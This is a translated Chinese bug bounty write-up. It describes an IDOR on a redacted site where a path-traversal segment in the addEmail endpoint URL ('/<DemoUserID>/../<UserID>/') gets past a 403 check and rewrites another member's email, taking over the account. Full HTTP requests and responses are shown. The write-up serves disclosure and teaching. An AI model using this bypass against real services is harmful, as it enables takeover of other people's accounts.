在这篇文章中,我将分享我如何通过简单的 IDOR 绕过导致账户接管而赚取 2500 美元。
由于我不能透露该程序的名称,根据他们的披露政策,我将其称为 redacted.com。
在 redacted.com 上,您可以创建一个组织并添加该组织的成员,有两个选项可以在组织中添加成员。
首先,您可以通过使用他们的电子邮件地址邀请他们来添加成员。
其次是添加一个没有电子邮件的成员,只有成员的名字,这称为演示用户,添加演示用户后,您可以编辑它并添加一个电子邮件地址,使其成为实际用户。
使用电子邮件地址添加成员
通过提供名称添加成员(演示用户)
创建演示用户后,我添加了一个电子邮件地址,使其成为我组织中的实际用户,但是当我转到我的 Burp Suite 请求历史记录时,我注意到了这个请求
POST /<organizationID>/addEmail/<DemoUserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/{
"email":"[email protected]"
}
如果我将<DemoUserID>更改为我组织内 任何成员的UserID ,会发生什么情况?
结果如下:
HTTP/2 403 Forbidden
Date: Tue, 15 Nov 2022 14:44:25 GMT
Content-Type: application/json
Content-Length: 76
Pragma: no-cache
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff{
"message":"You don't have access to this.",
}
尝试了几个小时的bypass,找到了可以用的,最后bypass的规则是这样的
POST /<organizationID>/addEmail/<DemoUserID>/../<UserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/{
"email":"[email protected]"
}
请求的响应
HTTP/2 200 OK
Date: Tue, 15 Nov 2022 14:43:32 GMT
Content-Type: application/json
Content-Length: 2
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff{
}
关联的 <UserID> 的电子邮件地址将更改为攻击者控制的电子邮件。
我在晚上 10 点左右发现了这个漏洞,并立即提交了报告,第二天早上,我收到了团队的回复并获得了2500美金赏金
推荐阅读:
实战 | 记一次1000美金的TikTok盲打XSS的漏洞挖掘
作者:Jefferson Gonzales
来源:点击阅读原文
由HACK学习翻译整理,如需转载请注明来源